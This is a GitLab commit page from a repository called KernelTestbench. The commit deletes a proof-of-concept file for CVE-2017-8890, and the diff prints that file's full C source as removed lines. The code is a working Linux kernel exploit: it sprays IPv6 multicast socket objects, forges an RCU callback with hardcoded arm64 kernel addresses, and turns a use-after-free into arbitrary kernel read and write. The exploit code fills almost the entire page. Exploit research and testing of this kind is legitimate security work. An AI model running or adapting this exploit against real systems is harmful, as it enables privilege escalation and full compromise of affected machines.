Skip to content
GitLab
Explore
Sign in
Primary navigation
Search or go to…
Project
K
KernelTestbench
Manage
Activity
Members
Labels
Plan
Issues
Issue boards
Milestones
Wiki
Code
Repository
Branches
Commits
Tags
Repository graph
Compare revisions
Snippets
Deploy
Releases
Container Registry
Model registry
Monitor
Incidents
Service Desk
Analyze
Value stream analytics
Contributor analytics
Repository analytics
Model experiments
Help
Help
Support
GitLab documentation
Compare GitLab plans
Community forum
Contribute to GitLab
Provide feedback
Terms and privacy
Keyboard shortcuts
?
Snippets
Groups
Projects
Show more breadcrumbs
Werner Sembach
KernelTestbench
Commits
26972322
Commit
26972322
authored
6 years ago
by
Werner Sembach
Browse files
Options
Downloads
Patches
Plain Diff
Delete CVE-2017-8890 because it got moved to other repo
parent
55b01c4c
No related branches found
No related tags found
No related merge requests found
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
CVE-2017-8890/CVE-2017-8890_PoC.c
+0
-414
0 additions, 414 deletions
CVE-2017-8890/CVE-2017-8890_PoC.c
with
0 additions
and
414 deletions
CVE-2017-8890/CVE-2017-8890_PoC.c
deleted
100644 → 0
+
0
−
414
View file @
55b01c4c
#define _GNU_SOURCE
#include
<sched.h>
#include
<stdio.h>
#include
<stdlib.h>
#include
<sys/select.h>
#include
<sys/socket.h>
#include
<arpa/inet.h>
#include
<netdb.h>
#include
<string.h>
#include
<unistd.h>
#include
<netinet/in.h>
#include
<fcntl.h>
#include
<time.h>
#include
<sys/types.h>
#include
<pthread.h>
#include
<net/if.h>
#include
<errno.h>
#include
<assert.h>
#define HELLO_WORLD_SERVER_PORT 6666
#define LENGTH_OF_LISTEN_QUEUE 1
#define SPRAY_SIZE 250
#define KERNEL_SOCK_IOCTL 0xffffffc00050f518;
#define KERNEL_SOCK_IOCTL_RET 0xffffffc00050f550;
/*(gdb) disassemble /s kernel_sock_ioctl
Dump of assembler code for function kernel_sock_ioctl:
./arch/arm64/include/asm/thread_info.h:
76 static inline struct thread_info *current_thread_info(void)
77 {
78 return (struct thread_info *)
0xffffffc00050f518 <+0>: stp x29, x30, [sp, #-32]!
0xffffffc00050f51c <+4>: mov x4, #0xffffffffffffffff // #-1
0xffffffc00050f520 <+8>: mov x3, sp
0xffffffc00050f524 <+12>: mov x29, sp
0xffffffc00050f528 <+16>: and x3, x3, #0xffffffffffffc000
0xffffffc00050f52c <+20>: str x19, [sp, #16]
0xffffffc00050f530 <+24>: ldr x19, [x3, #8]
0xffffffc00050f534 <+28>: str x4, [x3, #8]
net/socket.c:
3289 err = sock->ops->ioctl(sock, cmd, arg);
0xffffffc00050f538 <+32>: ldr x3, [x0, #40]
0xffffffc00050f53c <+36>: ldr x3, [x3, #72]
0xffffffc00050f540 <+40>: blr x3
./arch/arm64/include/asm/thread_info.h:
78 return (struct thread_info *)
0xffffffc00050f544 <+44>: mov x1, sp
0xffffffc00050f548 <+48>: and x1, x1, #0xffffffffffffc000
0xffffffc00050f54c <+52>: str x19, [x1, #8]
net/socket.c:
3292 return err;
0xffffffc00050f550 <+56>: ldr x19, [sp, #16]
0xffffffc00050f554 <+60>: ldp x29, x30, [sp], #32
0xffffffc00050f558 <+64>: ret
End of assembler dump.*/
volatile
int
server_init
=
0
;
volatile
int
server_finish
=
0
;
volatile
int
client_finish
=
0
;
volatile
int
set_fake_next_rcu_init
=
0
;
volatile
int
set_fake_next_rcu_finish
=
0
;
volatile
int
cpuid
=
0
;
cpu_set_t
mask
;
int
sockfd
[
SPRAY_SIZE
];
char
*
fake_next_rcu_memory
;
struct
callback_head
{
struct
callback_head
*
next
;
void
(
*
func
)(
struct
callback_head
*
head
);
};
struct
ip_mc_socklist
{
struct
ip_mc_socklist
*
next_rcu
;
struct
ip_mreqn
multi
;
unsigned
int
sfmode
;
struct
ip_sf_socklist
*
sflist
;
struct
callback_head
rcu
;
};
typedef
enum
{
SS_FREE
=
0
,
SS_UNCONNECTED
,
SS_CONNECTING
,
SS_CONNECTED
,
SS_DISCONNECTING
}
socket_state
;
struct
socket
{
socket_state
state
;
short
type
;
unsigned
long
flags
;
struct
socket_wq
*
wq
;
struct
file
*
file
;
struct
sock
*
sk
;
struct
proto_ops
*
ops
;
};
struct
proto_ops
{
int
family
;
void
*
owner
;
void
*
release
;
void
*
bind
;
void
*
connect
;
void
*
socketpair
;
void
*
accept
;
void
*
getname
;
void
*
poll
;
int
(
*
ioctl
)(
struct
socket
*
,
unsigned
int
,
unsigned
long
);
void
*
compat_ioctl
;
void
*
listen
;
void
*
shutdown
;
void
*
setsockopt
;
void
*
getsockopt
;
void
*
compat_setsockopt
;
void
*
compat_getsockopt
;
void
*
sendmsg
;
void
*
recvmsg
;
void
*
mmap
;
void
*
sendpage
;
void
*
splice_read
;
void
*
set_peek_off
;
};
volatile
struct
ip_mc_socklist
*
fake_next_rcu
;
void
bind_on_cpu
(
int
cpuid
)
{
int
i
,
now_cpuid
=
-
1
;
cpu_set_t
get
;
CPU_ZERO
(
&
mask
);
CPU_SET
(
cpuid
,
&
mask
);
while
(
cpuid
!=
now_cpuid
)
{
sched_setaffinity
(
0
,
sizeof
(
mask
),
&
mask
);
now_cpuid
=
sched_getcpu
();
}
return
;
}
void
*
set_fake_next_rcu
()
{
bind_on_cpu
(
cpuid
);
// that is a little bit more space then needed to be on the safe side
// fake_next_rcu and fake_socket overlap by 16 bytes and the start
// offset is a max of 0xff and not 0x100
fake_next_rcu_memory
=
malloc
(
sizeof
(
struct
ip_mc_socklist
)
+
sizeof
(
struct
socket
)
+
sizeof
(
struct
proto_ops
)
+
0x100
);
fake_next_rcu
=
(
struct
ip_mc_socklist
*
)((
uint64_t
)
fake_next_rcu_memory
|
0xff
);
struct
socket
*
fake_socket
=
(
struct
socket
*
)
&
(
fake_next_rcu
->
rcu
);
fake_socket
->
ops
=
(
struct
proto_ops
*
)(
fake_next_rcu_memory
+
0x100
+
sizeof
(
struct
ip_mc_socklist
)
+
sizeof
(
struct
socket
));
fake_socket
->
ops
->
ioctl
=
(
int
(
*
)(
struct
socket
*
,
unsigned
int
,
long
unsigned
int
))
KERNEL_SOCK_IOCTL_RET
;
set_fake_next_rcu_init
=
1
;
while
(
!
server_finish
)
{
fake_next_rcu
->
rcu
.
func
=
(
void
(
*
volatile
)(
struct
callback_head
*
))
KERNEL_SOCK_IOCTL
;
}
free
(
fake_next_rcu_memory
);
set_fake_next_rcu_finish
=
1
;
return
NULL
;
};
int
read_at_address_pipe
(
void
*
address
,
void
*
buf
,
size_t
len
)
{
int
ret
=
1
;
int
pipes
[
2
];
if
(
pipe
(
pipes
))
{
perror
(
"read_at_address_pipe pipe failed"
);
return
1
;
}
if
(
write
(
pipes
[
1
],
address
,
len
)
==
-
1
)
{
perror
(
"read_at_address_pipe write failed"
);
goto
end
;
}
if
(
read
(
pipes
[
0
],
buf
,
len
)
==
-
1
)
{
perror
(
"read_at_address_pipe read failed"
);
goto
end
;
}
ret
=
0
;
end:
close
(
pipes
[
1
]);
close
(
pipes
[
0
]);
return
ret
;
}
int
write_at_address_pipe
(
void
*
address
,
void
*
buf
,
size_t
len
)
{
int
ret
=
1
;
int
pipes
[
2
];
if
(
pipe
(
pipes
))
{
perror
(
"write_at_address_pipe pipe failed"
);
return
1
;
}
if
(
write
(
pipes
[
1
],
buf
,
len
)
!=
len
)
{
perror
(
"write_at_address_pipe write failed"
);
goto
end
;
}
if
(
read
(
pipes
[
0
],
address
,
len
)
!=
len
)
{
perror
(
"write_at_address_pipe read failed"
);
goto
end
;
}
ret
=
0
;
end:
close
(
pipes
[
1
]);
close
(
pipes
[
0
]);
return
ret
;
}
void
heap_spray_init
()
{
printf
(
"[Spray] heap_spray_init start
\n
"
);
for
(
int
i
=
0
;
i
<
SPRAY_SIZE
;
++
i
)
{
sockfd
[
i
]
=
socket
(
PF_INET6
,
SOCK_STREAM
,
0
);
if
(
sockfd
[
i
]
<
0
)
{
perror
(
"[Spray] Socket creation failed"
);
exit
(
errno
);
}
}
printf
(
"[Spray] heap_spray_init end
\n
"
);
return
;
}
void
heap_spray_run
()
{
printf
(
"[Spray] heap_spray_run start
\n
"
);
struct
group_req
group
=
{
0
};
struct
sockaddr_in6
*
psin
=
(
struct
sockaddr_in6
*
)
&
group
.
gr_group
;
psin
->
sin6_family
=
AF_INET6
;
psin
->
sin6_port
=
1234
;
*
(
uint64_t
*
)
psin
->
sin6_addr
.
s6_addr
=
(
uint64_t
)
fake_next_rcu
;
printf
(
"[Spray] Fake ipv6 address: "
);
for
(
int
i
=
0
;
i
<
16
;
++
i
)
{
printf
(
"%02x"
,
psin
->
sin6_addr
.
s6_addr
[
i
]);
}
printf
(
"
\n
"
);
for
(
int
i
=
0
;
i
<
SPRAY_SIZE
;
++
i
)
{
if
(
setsockopt
(
sockfd
[
i
],
IPPROTO_IPV6
,
MCAST_JOIN_GROUP
,
&
group
,
sizeof
(
group
)))
{
printf
(
"%d "
,
i
);
perror
(
"[Spray] setsockopt failed"
);
exit
(
errno
);
}
}
printf
(
"[Spray] heap_spray_run end
\n
"
);
return
;
}
void
heap_spray_finalize
()
{
printf
(
"[Spray] heap_spray_finalize start
\n
"
);
for
(
int
i
=
0
;
i
<
SPRAY_SIZE
;
++
i
)
{
close
(
sockfd
[
i
]);
}
printf
(
"[Spray] heap_spray_finalize end
\n
"
);
return
;
}
void
*
server
(
void
*
arg
)
{
bind_on_cpu
(
cpuid
);
struct
sockaddr_in
server_addr
;
bzero
(
&
server_addr
,
sizeof
(
server_addr
));
server_addr
.
sin_family
=
AF_INET
;
server_addr
.
sin_addr
.
s_addr
=
htons
(
INADDR_ANY
);
server_addr
.
sin_port
=
htons
(
HELLO_WORLD_SERVER_PORT
);
struct
group_req
group
=
{
0
};
struct
sockaddr_in
*
psin
;
psin
=
(
struct
sockaddr_in
*
)
&
group
.
gr_group
;
psin
->
sin_family
=
AF_INET
;
psin
->
sin_addr
.
s_addr
=
htonl
(
inet_addr
(
"10.10.2.224"
));
int
server_socket
=
socket
(
PF_INET
,
SOCK_STREAM
,
0
);
if
(
server_socket
<
0
)
{
printf
(
"[Server] Create Socket Failed!"
);
exit
(
EXIT_FAILURE
);
}
if
(
setsockopt
(
server_socket
,
IPPROTO_IP
,
MCAST_JOIN_GROUP
,
&
group
,
sizeof
(
group
)))
{
perror
(
"[Server] Server Socket Join Group Failed!"
);
exit
(
EXIT_FAILURE
);
}
if
(
bind
(
server_socket
,
(
struct
sockaddr
*
)
&
server_addr
,
sizeof
(
server_addr
)))
{
printf
(
"[Server] Server Bind Port : %d Failed!"
,
HELLO_WORLD_SERVER_PORT
);
exit
(
EXIT_FAILURE
);
}
if
(
listen
(
server_socket
,
LENGTH_OF_LISTEN_QUEUE
))
{
printf
(
"[Server] Server Listen Failed!"
);
exit
(
EXIT_FAILURE
);
}
struct
sockaddr_in
client_addr
;
socklen_t
length
=
sizeof
(
client_addr
);
server_init
=
1
;
printf
(
"[Server] accept.....
\n
"
);
int
new_server_socket
=
accept
(
server_socket
,
(
struct
sockaddr
*
)
&
client_addr
,
&
length
);
if
(
new_server_socket
<
0
)
{
close
(
server_socket
);
printf
(
"[Server] Server Accept Failed!
\n
"
);
return
NULL
;
}
printf
(
"[Server] Close new_server_socket
\n
"
);
close
(
new_server_socket
);
heap_spray_run
();
printf
(
"[Server] Close server_socket
\n
"
);
close
(
server_socket
);
printf
(
"Exploit complete, let's try arbitrary write.
\n
"
);
char
tester
[
8
]
=
{
0
};
while
(
read_at_address_pipe
((
void
*
)
0xffffffc000a7a830
,
&
tester
,
8
))
{
printf
(
"AAA
\n
"
);
sleep
(
1
);
}
printf
(
"Turn UAF to arbitrary read/write succeeded.
\n
"
);
server_finish
=
1
;
return
NULL
;
}
void
*
client
(
void
*
arg
)
{
bind_on_cpu
(
cpuid
);
struct
sockaddr_in
client_addr
;
bzero
(
&
client_addr
,
sizeof
(
client_addr
));
client_addr
.
sin_family
=
AF_INET
;
client_addr
.
sin_addr
.
s_addr
=
htons
(
INADDR_ANY
);
client_addr
.
sin_port
=
htons
(
0
);
int
client_socket
=
socket
(
AF_INET
,
SOCK_STREAM
,
0
);
if
(
client_socket
<
0
)
{
printf
(
"[Client] Create socket failed!
\n
"
);
exit
(
EXIT_FAILURE
);
}
if
(
bind
(
client_socket
,
(
struct
sockaddr
*
)
&
client_addr
,
sizeof
(
client_addr
)))
{
printf
(
"[Client] Client bind port failed!
\n
"
);
exit
(
EXIT_FAILURE
);
}
struct
sockaddr_in
server_addr
;
bzero
(
&
server_addr
,
sizeof
(
server_addr
));
server_addr
.
sin_family
=
AF_INET
;
if
(
inet_aton
(
"127.0.0.1"
,
&
server_addr
.
sin_addr
)
==
0
)
{
printf
(
"[Client] Server IP Address error
\n
"
);
exit
(
EXIT_FAILURE
);
}
server_addr
.
sin_port
=
htons
(
HELLO_WORLD_SERVER_PORT
);
socklen_t
server_addr_length
=
sizeof
(
server_addr
);
if
(
connect
(
client_socket
,
(
struct
sockaddr
*
)
&
server_addr
,
server_addr_length
)
<
0
)
{
printf
(
"[Client] cannot connect to 127.0.0.1!
\n
"
);
exit
(
EXIT_FAILURE
);
}
while
(
!
server_finish
)
{
sleep
(
1
);
}
printf
(
"[Client] Close client_socket
\n
"
);
close
(
client_socket
);
client_finish
=
1
;
return
NULL
;
}
int
main
(
int
argc
,
char
*
argv
[])
{
cpuid
=
sched_getcpu
();
bind_on_cpu
(
cpuid
);
heap_spray_init
();
pthread_t
id_server
,
id_client
,
id_set_fake_next_rcu
;
pthread_create
(
&
id_set_fake_next_rcu
,
NULL
,
set_fake_next_rcu
,
NULL
);
while
(
!
set_fake_next_rcu_init
)
{
sleep
(
1
);
}
pthread_create
(
&
id_server
,
NULL
,
server
,
NULL
);
while
(
!
server_init
)
{
sleep
(
1
);
}
pthread_create
(
&
id_client
,
NULL
,
client
,
NULL
);
while
(
!
server_finish
||
!
client_finish
||
!
set_fake_next_rcu_finish
)
{
sleep
(
1
);
}
printf
(
"Trying to exit, but kernel will most likely crash on freeing manipulated memory region.
\n
"
);
heap_spray_finalize
();
return
EXIT_SUCCESS
;
}
This diff is collapsed.
Click to expand it.
Preview
0%
Loading
Try again
or
attach a new file
.
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Save comment
Cancel
Please
register
or
sign in
to comment